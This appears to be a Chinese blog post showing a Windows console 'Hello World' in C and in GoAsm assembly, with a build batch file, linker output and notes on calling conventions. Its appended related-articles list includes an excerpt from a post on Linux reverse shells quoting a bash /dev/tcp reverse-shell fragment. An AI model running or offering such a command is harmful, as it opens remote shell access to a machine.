在VC里我们:
#include <windows.h>
DWORD dwNumberOfBytesWritten;
int main() {
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
WriteFile(hStdOut, "Hello World (from GoAsm)", 24, &dwNumberOfBytesWritten, 0);
return dwNumberOfBytesWritten;
}
某个Windows的头文件里(1. 示意。2. windows.h包含别的头文件):
typedef unsigned int32 DWORD;
#define STD_OUTPUT_HANDLE DWORD(-10) /* 0xfffffff6 */
HANDLE WINAPI GetStdHandle(DWORD nStdHandle);
typedef const void* LPCVOID;
typedef DWORD* LPDWORD;
BOOL WINAPI WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 新建文本文件2.asm,贴入如下内容:
.DATA
dwnumberofbyteswritten dd 0
lpBuffer db 'Hello world (from goasm)', 0ah
.CODE
START:
push -11
call GetStdHandle ; get hStdOut in eax
push 0, addr dwnumberofbyteswritten ; lpOverlapped, &dwNumberOfBytesWritten
push 25, addr lpBuffer ; nNumberOfBytesToWrite, lpBuffer
push eax ; hStdOut
call WriteFile
mov eax, [dwnumberofbyteswritten]
ret 再新建文本文件clr.bat (Compile-Link-Run),贴入:
@ECHO OFF
IF "%~n1" == "" (EXIT/B 1)
SET f=%~n1
GoAsm /l %f%.asm
IF ERRORLEVEL 1 (EXIT/B 2)
GoLink /console /debug dbg %f%.obj kernel32.dll user32.dll
IF ERRORLEVEL 1 (EXIT/B 3)
%f%.exe Hello world (from GoAsm)
ECHO %ERRORLEVEL% 最后clr 2或clr 2.asm,输出:
GoAsm.Exe Version 0.61.0.1 - Copyright Jeremy Gordon 2001-2017 - JG@JGnet.co.uk
Output file: 2.obj
Output file: 2.lst GoLink.Exe Version 1.0.3.1 Copyright Jeremy Gordon 2002-2020 info@goprog.com
Output file: 2.exe
Format: Win32 Size: 2,560 bytes
Output file: exe\2.dbg
Format: Win32 Size: 395 bytes
Hello world (from goasm)
25 Calling convention. stdcall、cdecl 和pascal简介
被调用者将参数从栈中清除的好处是:想象下有99处调用它,是99处加pop好,还是一处pop好?也省不了多少地方。
C语言支持可变参数数量。被调用者可能接收2个参数,也可能接收4个,堆栈如何pop? 不过我觉得可变参数数量和调用者清栈
没有100%的相关度:多传一个参数表示SP要挪多少不行吗? LPCVOID的L代表Long,16位时代的遗物,还有叫far的,表示指针是20位还是16位。 函数的返回值在eax里。 CALL/? IF/? EXIT/? 可看到批处理的帮助。

写了个MessageBox(命令行),兴冲冲贴上来,又发现5次里有1次MessageBox出来后,程序不动了。一生气删掉了。痛定思痛,可能是没指定堆栈大小(默认64KB). search(golink stack size)。还有折腾了半天argc, argv, envp后才想起来我们是调用main()的啊。GetCommandLine(). 哦还有search(goasm USES),USES EDI等插入push和pop edi指令。

试了下GoAsm的更多相关文章

  1. 试了下阿里云的OPEN Api

    逐渐理解open api的意义,试了下阿里云的续费接口,续费一个月 package com.test; /** * @author * @date 2018/12/05 */ import com.a ...

  2. 屏幕測试亮点,新买了一个显示器,使用web简单的測试下了亮点

    1,购买了一个新的显示器 趁着双11的时候价格廉价.入手了一个显示器. http://serve.netsh.org/pub/dead_pixel.bin 滚动下就能够换颜色了.把chrome最大化, ...

  3. 曹工改bug:centos下,mongodb开机不能自启动,systemctl、rc.local都试了,还是不行,要不要放弃?

    问题背景 最近装个centos 7.6的环境,其中,基础环境包括,redis.nginx.mongodb.fastdfs.mysql等,其中,自启动使用的是systemctl,其他几个组件,都没啥问题 ...

  4. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  5. iOS下Audio自动播放(Autoplay)音乐

    前几天做了一个H5活动页面,产品要求初始化播放音乐,因晓得H5 Audio标签支持Autoplay就没在意. 完了在手机上测试,发现手机上打开页面死活就是不会自动播放,点击播放按钮才可以播放,很是纠结 ...

  6. 一次ie8模式下click无反应的小事

    想起了小学时候数不尽的一件小事,哎,那夕阳下的奔跑,是我逝去的青春啊. 言归正传,先上图: <select id="cardNoList" size="4" ...

  7. 使用Windbg在XP下Heap追踪失败的原因

    1.故事背景      最近同事的代码中碰到一个bug会导致奔溃的bug,从dump上看是由于某个对象的堆内存指针被释放了,但代码仍调用了该对象指针的虚函数,从而引起内存访问违法崩溃,由于该类被大量使 ...

  8. linux下使用多线程编写的聊天室

    自从开始学linux网络编程后就想写个聊天室,一开始原本打算用多进程的方式来写,可是发觉进程间的通信有点麻烦,而且开销也大,后来想用多线程能不能实现呢,于是便去看了一下linux里线程的用法,实际上只 ...

  9. myql数据库在cmd下,中文乱码的问题原因

    使用navicat把数据导入数据库,这些数据都是中文,导入成功,显式也正常,但是在mysql cmd下都是乱码.检查了我的mysql配置,字符编码都是utf8,包括navicat连接时候也设置过是ut ...

随机推荐

  1. mininet-2.2.2-170321-ubuntu-14.04.4-server-amd64的使用

    1.使用Vmware打开下载好的mininet-2.2.2-170321-ubuntu-14.04.4-server-amd64 2.登录账号密码都为mininet 3.用命令行生成拓扑,并测试连通性 ...

  2. sudo user1账号获得管理员root的权限

    user1虽然有sudo权限,但不是真正的root权限,修改内核参数之类的就做不了 但是有sudo权限就可以添加账号,以下添加了admin账号与root账号一样的权限 useradd -u 0   - ...

  3. JMH 使用指南

    简介 JMH(Java Microbenchmark Harness)是用于代码微基准测试的工具套件,主要是基于方法层面的基准测试,精度可以达到纳秒级.该工具是由 Oracle 内部实现 JIT 的大 ...

  4. 四种 AI 技术方案,教你拥有自己的 Avatar 形象

    大火的 Avatar到底是什么 ? 随着元宇宙概念的大火,Avatar 这个词也开始越来越多出现在人们的视野.2009 年,一部由詹姆斯・卡梅隆执导 3D 科幻大片<阿凡达>让很多人认识了 ...

  5. Discovery直播 | 3D“模”术师,还原立体世界——探秘3D建模服务

    通过多张普通的照片重建一个立体逼真的3D物体模型,曾经靠想象实现的事情,现在, 使用HMS Core 3D建模服务即可实现! 3D模型作为物品在数字世界中的孪生体,用户可以自己拍摄.建模并在终端直观感 ...

  6. kubernetes常见日志采集问题和解决方案分析

    传统日志与kubernetes日志对比 传统服务 目录固定 重启不会丢失 不用关注标准与错误日志输出 容器服务 节点不固定 重启服务会漂移 需要关注标准与错误日志输出 日志文件重启会丢失 日志目录不固 ...

  7. Matlab+Qt开发笔记(二):Qt打开mat文件显示读取的数据

    前言   介绍了基础环境,最终是为了读取显示.mat文件,本篇读取mat文件并显示.   补充   测试的mat文件是double类型的. Matlab库数据类型 变量类型:matError,错误变量 ...

  8. 好久没更新了,我回来了---Ajax

    1.Ajax概念以及优势 * 什么是AJAX * AJAX(Asynchronous JavaScript And XML),(异步 JavaScript 和 XML),中文名:阿贾克斯.是指一种创建 ...

  9. 学习JS的第二天

    一.数据类型间的转换 主要:数字与字符串之间的转换 1.隐式转换 // console.log(1==true);[] 字符串与数字相加,其结果就是字符串  类似于字符串拼接 concole.log( ...

  10. [第三章]c++学习笔记2(静态成员变量)

    静态成员:在说明前加了static关键字的对象 使用例: 基本概念 普通成员变量每个对象有各自的一份,而静态成员变量总共只有一份,为所有对象共享. 普通成员函数必须具体作用与某个对象,而静态成员函数并 ...